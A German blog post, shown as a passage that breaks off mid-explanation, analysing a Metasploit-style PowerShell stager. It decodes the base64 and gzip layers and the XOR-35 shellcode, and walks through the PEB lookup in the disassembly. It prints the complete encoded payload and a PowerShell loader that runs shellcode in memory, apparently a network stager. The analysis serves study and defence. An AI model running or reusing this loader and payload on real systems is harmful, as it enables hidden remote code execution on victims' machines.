
Statische Analyse eines Metasploit-Windows-Shellcodes: PowerShell-Payload-Dekodierung, XOR-Obfuskation, PEB-Walking und Auflösung der Export Address Table.
Für einen ersten Blogbeitrag dachte ich, es wäre schön, einen gängigen Metasploit-Shellcode zu analysieren – eine großartige Gelegenheit, Themen wie Encoding, PEB, Windows-Shellcodes und Export-Adresstabellen zu besprechen.
Wir beginnen mit einer abgefangenen, langen Befehlszeile:```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA
Dies ist eine [base64](https://en.wikipedia.org/wiki/Base64)-kodierte PowerShell-Befehlszeile (gekennzeichnet durch das Flag `-encodedcommand`). Beim Dekodieren sieht es wie folgt aus:```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
Dieses Payload führt eine weitere base64-Dekodierung durch (des Teils, der mit „H4sIA...“ beginnt) und speichert das Ergebnis in einem Speicherstream ($s).
Anschließend behandelt es diesen als komprimierten (gzip) Stream, dekomprimiert ihn und führt den Inhalt aus (mit IEX).
Es ist ziemlich einfach, ihn zu dekomprimieren – du kannst PowerShell, CyberChef oder sogar Python verwenden:```python
import io, gzip, base64
x=b'H4sIAAAAAAAAAK1...' # Omitted
print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())
Die Ausgabe enthält weitere PowerShell-Befehle, dieses Mal mit komplexerer Logik:```powershell
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
Lass es uns aufschlüsseln:
$DoIt enthält den Großteil der Logik. Sie definiert eine Funktion namens func_get_proc_address, die nur ein Wrapper um kernel32!GetProcAddress ist, und verwendet die Funktion func_get_delegate_type, um einen reflektiven Delegaten zu erhalten.$var_code ist erneut (!) ein base64-Payload, aber dieses Mal ist es weniger offensichtlich – ein naiver Dekodierungsversuch ergibt nur Datenmüll.$var_code wird Byte für Byte mit dem Wert 35 per XOR verknüpft. Das erklärt bereits, warum das Dekodieren keine Strings ergibt, aber selbst nach dem XOR-Verknüpfen sieht es ohne den richtigen Kontext noch nicht vielversprechend aus.$var_buffer) mit flAllocationType=0x3000 und flProtect=0x40 zu allokieren. Ein Blick auf MSDN zeigt, dass es sich bei dem Allokationstyp um und bei dem Seitenschutz um handelt.Das sagt uns, dass der base64-kodierte Payload als 32-Bit-shellcode behandelt werden sollte. Analysieren wir ihn erneut statisch, indem wir ihn per XOR verknüpfen und in eine Binärdatei schreiben:```python import base64 x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))
Hier beginnt der Spaß. Du kannst deinen bevorzugten Disassembler verwenden (IDA, Binary Ninja usw.).
Es gibt sogar einige großartige [Online-Disassembler](https://shell-storm.org/online/Online-Assembler-and-Disassembler), wenn dir OpSec egal ist.
Der Anfang des Shellcodes befindet sich bei Offset 0 und der Code sollte als X86-Code behandelt werden.
## Durchlaufen des PEB
Der Code beginnt mit einer CALL-Instruktion:```assembly
0x0000000000000000: FC cld
0x0000000000000001: E8 89 00 00 00 call 0x8f
Die cld-Anweisung löscht das Richtungsflag (sodass String-Operationen wie movsb vorwärts und nicht rückwärts arbeiten) und führt dann einen relativen Aufruf an 0x8f aus.
Da call die nächste Anweisung auf den Stack legt, merken wir uns, dass der Stack mit der Adresse beschrieben wurde, die sich an Offset 6 im Shellcode befindet.
Betrachten wir den Code an Offset 0x8f:```assembly
0x000000000000008f: 5D pop ebp
0x0000000000000090: 68 6E 65 74 00 push 0x74656e
0x0000000000000095: 68 77 69 6E 69 push 0x696e6977
0x000000000000009a: 54 push esp
0x000000000000009b: 68 4C 77 26 07 push 0x726774c
0x00000000000000a0: FF D5 call ebp
Unmittelbar ein `pop` zu verwenden, um die Adresse zu sichern, ist ein gängiger Shellcoding-Trick (`call-pop`-Sequenz).
Die nächsten Push-Befehle sind interessant - oberflächlich betrachtet wirken sie wie seltsame Konstanten, aber wenn man sie als ANSI-Strings dekodiert, zeigt sich etwas Interessantes:```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)
Da wir uns Stack-Pushes ansehen – musste ich sie in umgekehrter Reihenfolge extrahieren und sicherstellen, dass ich Little Endian verwende (das ist das <-Symbol im Code).
Das gibt b'wininet\x00' aus, den Namen einer Windows-DLL, die für Internet-Kommunikation verwendet wird.
Beachte, dass push esp die Adresse des Stapel-Endes (Top of the Stack) pusht – eine praktische Methode, um einen Zeiger auf den NUL-terminierten String wininet zu erhalten.
Weiter geht’s: Wir pushen eine weitere Konstante (0x726774c) – diese dekodiert zu nichts Sinnvollem – und rufen ebp auf. Denke daran, dass ebp auf einen Code-Abschnitt an Offset 6 vom Anfang des Shellcodes zeigt. Schauen wir uns diesen Teil also an!
Der Code an Offset 6 beginnt mit ein paar interessanten Anweisungen:```assembly
0x0000000000000006: 60 pushad
0x0000000000000007: 89 E5 mov ebp, esp
0x0000000000000009: 31 D2 xor edx, edx
0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30]
0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc]
0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14]
0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28]
0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]
Nach einem einfachen Prolog (alle Register auf den Stack legen und einen neuen Stack-Frame erstellen) sehen wir, dass `edx` (durch Selbst-XOR) nullifiziert wird.
Dann erhält `edx` die Adresse von `fs:[0x30]`. Diese Adresse ist der [Process Environment Block (PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb).
Der PEB ist ein Block im Benutzermodus, der nützliche Daten des Prozesses enthält, darunter dessen Befehlszeile, Debug-Status, geladene Module und weitere. Er ist eine Leistungsoptimierung, um unnötige Kernel-Syscalls zu vermeiden.
Wir sehen, dass mehrere Adressen referenziert werden - in IDA könnte man die PEB-Struktur laden, aber der Vollständigkeit halber:
- Offset 0xc ist das `LDR`-Mitglied der `PEB`, das den Typ `PPEB_LDR_DATA` hat, welcher [hier](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data) dokumentiert ist.
